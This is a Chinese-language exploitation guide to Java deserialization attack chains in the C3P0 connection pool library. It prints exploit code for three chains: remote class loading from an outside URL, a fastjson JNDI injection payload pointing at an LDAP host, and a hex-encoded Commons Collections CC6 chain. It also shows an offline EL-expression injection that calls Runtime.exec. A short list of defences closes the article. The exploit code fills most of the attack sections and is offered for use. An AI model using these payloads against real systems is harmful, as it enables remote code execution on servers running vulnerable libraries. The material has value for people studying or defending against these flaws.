浅析C3P0攻击链
字数 1208 2025-08-24 20:49:31
C3P0攻击链深入分析与利用指南
1. C3P0简介与背景
C3P0是一个开源的JDBC连接池实现,具有以下特点:
- 实现了数据源和JNDI绑定
- 支持JDBC3规范和JDBC2的标准扩展
- 被Hibernate、Spring等流行框架使用
JDBC (Java DataBase Connectivity) 是Java程序访问数据库的标准接口。连接池技术类似于线程池,通过复用连接句柄来减少频繁创建和销毁连接带来的资源消耗。
2. 环境搭建
使用Maven添加C3P0依赖:
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
3. C3P0攻击链利用方式
3.1 URLClassLoader远程类加载
漏洞点分析
漏洞位于PoolBackedDataSourceBase类的readObject方法中:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case VERSION: {
Object o = ois.readObject();
if (o instanceof IndirectlySerialized)
o = ((IndirectlySerialized)o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
}
// ...其他代码...
}
}
关键点:
- 读取对象后检查是否为
IndirectlySerialized实例 - 如果是则调用
getObject()方法 - 最终将对象强制转换为
ConnectionPoolDataSource
利用链分析
- 序列化时实际进行类转换:
ConnectionPoolDataSource -> ReferenceSerialized - 反序列化时调用
IndirectlySerialized.getObject() - 最终通过
ReferenceableUtils.referenceToObject加载远程类
关键方法调用链
PoolBackedDataSourceBase#readObject
→ ReferenceIndirector#getObject
→ ReferenceableUtils#referenceToObject
→ ObjectFactory#getObjectInstance
EXP示例
public class C3P01 {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc", "Calc", "http://127.0.0.1:8002/");
}
// ...其他必要方法实现...
}
public static void main(String[] args) throws Exception {
C3P0 exp = new C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}
// 序列化和反序列化方法实现...
}
3.2 JNDI注入
漏洞点分析
JndiRefForwardingDataSource的dereference()方法中有lookup调用,且jndiName可控。
利用链分析
JndiRefConnectionPoolDataSource#setLoginTime
→ WrapperConnectionPoolDataSource#setLoginTime
→ JndiRefForwardingDataSource#setLoginTimeout
→ JndiRefForwardingDataSource#inner
→ JndiRefForwardingDataSource#dereference()
→ Context#lookup
EXP示例
import com.alibaba.fastjson.JSON;
public class JNDI {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
3.3 HEX序列化攻击
漏洞点分析
WrapperConnectionPoolDataSource构造方法中调用C3P0ImplUtils.parseUserOverridesAsString:
public static Map parseUserOverridesAsString(String userOverridesAsString)
throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring(
HASM_HEADER.length() + 1,
userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap(
(Map)SerializableUtils.fromByteArray(serBytes));
}
// ...
}
利用链分析
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource
→ C3P0ImplUtils#parseUserOverridesAsString
→ SerializableUtils#fromByteArray
→ SerializableUtils#deserializeFromByteArray
EXP示例(使用CC6链)
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
// ...其他导入...
public class C3P0Hex_CC6 {
public static Map exp() throws Exception {
// CC6链构造...
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", /*...*/),
// ...其他转换器...
};
// ...完整CC6链构造...
return hashMap2;
}
// 辅助方法:对象转十六进制字符串
public static String toHexAscii(byte[] bytes) {
// ...实现...
}
public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(exp()));
String payload = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}";
JSON.parse(payload);
}
}
4. 不出网利用方式
当目标机器不出网且没有fastjson相关依赖时,可以通过本地类加载进行EL表达式注入。
利用点
org.apache.naming.factory.BeanFactory的getObjectInstance方法
EXP示例
public class C3P0_Local {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",
null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster",
"Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}
// ...其他必要方法实现...
}
// ...序列化和反序列化方法...
}
5. 防御建议
- 升级C3P0到最新安全版本
- 限制反序列化操作,使用白名单机制
- 网络层面限制出站连接
- 使用安全管理器限制危险操作
- 对JNDI查找进行严格控制和过滤
6. 总结
C3P0攻击链主要包含三种利用方式:
- URLClassLoader远程类加载 - 通过反序列化触发远程类加载
- JNDI注入 - 通过可控的jndiName参数实现JNDI注入
- HEX序列化 - 通过十六进制编码的序列化对象实现反序列化攻击
在不出网环境下,可以通过本地EL表达式注入实现攻击。防御关键在于严格控制反序列化操作和网络访问权限。